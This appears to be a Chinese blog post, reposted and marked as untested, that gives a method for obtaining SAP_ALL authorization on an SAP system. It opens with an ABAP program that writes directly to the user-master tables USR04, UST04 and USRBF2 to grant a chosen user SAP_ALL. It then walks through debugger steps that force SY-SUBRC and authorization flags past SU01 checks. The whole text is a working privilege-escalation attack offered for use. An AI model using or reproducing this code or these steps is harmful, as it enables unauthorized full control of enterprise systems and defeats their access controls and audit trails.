其他分享
首页 > 其他分享> > 如何获取SAP_ALL权限 的代码(还没测试转自SAP翔子)

如何获取SAP_ALL权限 的代码(还没测试转自SAP翔子)

作者:互联网

TABLES : usr01.
DATA: l_usr04  LIKE usr04,
l_ust04  LIKE ust04,
l_profs  LIKE usr04-profs,
l_usrbf2 LIKE usrbf2 OCCURS 0 WITH HEADER LINE,
l_userid LIKE usr01-bname.
SELECT-OPTIONS: p_user FOR usr01-bname .
START-OF-SELECTION.
SELECT SINGLE * INTO l_usr04 FROM usr04 WHERE bname IN p_user.
MOVE 'C SAP_ALL' TO l_profs .
l_usr04-nrpro = '14'.
l_usr04-profs = l_profs.
UPDATE usr04 FROM l_usr04 .
l_userid = l_usr04-bname.
SELECT SINGLE * INTO l_ust04 FROM ust04 WHERE bname IN p_user.
l_ust04-profile = 'SAP_ALL'.
UPDATE ust04 FROM l_ust04 .
SELECT * FROM usrbf2 INTO TABLE l_usrbf2 WHERE bname = 'SAP*' .
LOOP AT l_usrbf2.
 l_usrbf2-bname = l_userid.
 MODIFY l_usrbf2 INDEX sy-tabix TRANSPORTING bname.
ENDLOOP.
INSERT usrbf2 FROM TABLE l_usrbf2 ACCEPTING DUPLICATE KEYS.

 

目的:SU01在用户参数文件加上SAP_ALL,实现可以取得 ALL权限。
前提:账号要有Debug改值的权限

运行SU01报错,没有SU01权限

(如果这里不报错,请直接看Step3)

根据技术信息可以找到他报错的位置

FUNCTION        / AUTH_CHECK_TCODE

 

进入刚设置的断点,将SY-SUBRC的值改为0,F8运行

就可以进入SU01界面

But 再次报错

 

 

在这句设置断点

 if sy-subrc eq 0. "Auth check in cache.

      if ls_cache_auth_node-authorized ne 'X'.

        es_msg = ls_cache_auth_node-msg.

      endif.

      return.

 endif.

 

CL_SUID_TOOLS================= / CL_SUID_TOOLS================= / 47

METHOD          / AUTH_CHECK_SINGLE (CL_SUID_TOOLS)

将1 sy-subrc 不是0时改成0 
2 ls_cache_auth_node-authorized 改成'X'

注意:这里要改多次值,标注程序很多个权限对象,如果改值不充分,可能会出现报错

如:

这时候是编辑不了角色或者参数文件的。

 

1 可以直接进入编辑
2 参数文件里有SAP_ALL

获取ALL权限成功


 

单击赋能

最简便的方式,开发个程序,一键单击搞定,

标签:usrbf2,usr04,SU01,转自,翔子,ust04,bname,SAP
来源: https://www.cnblogs.com/BruceKing/p/12132205.html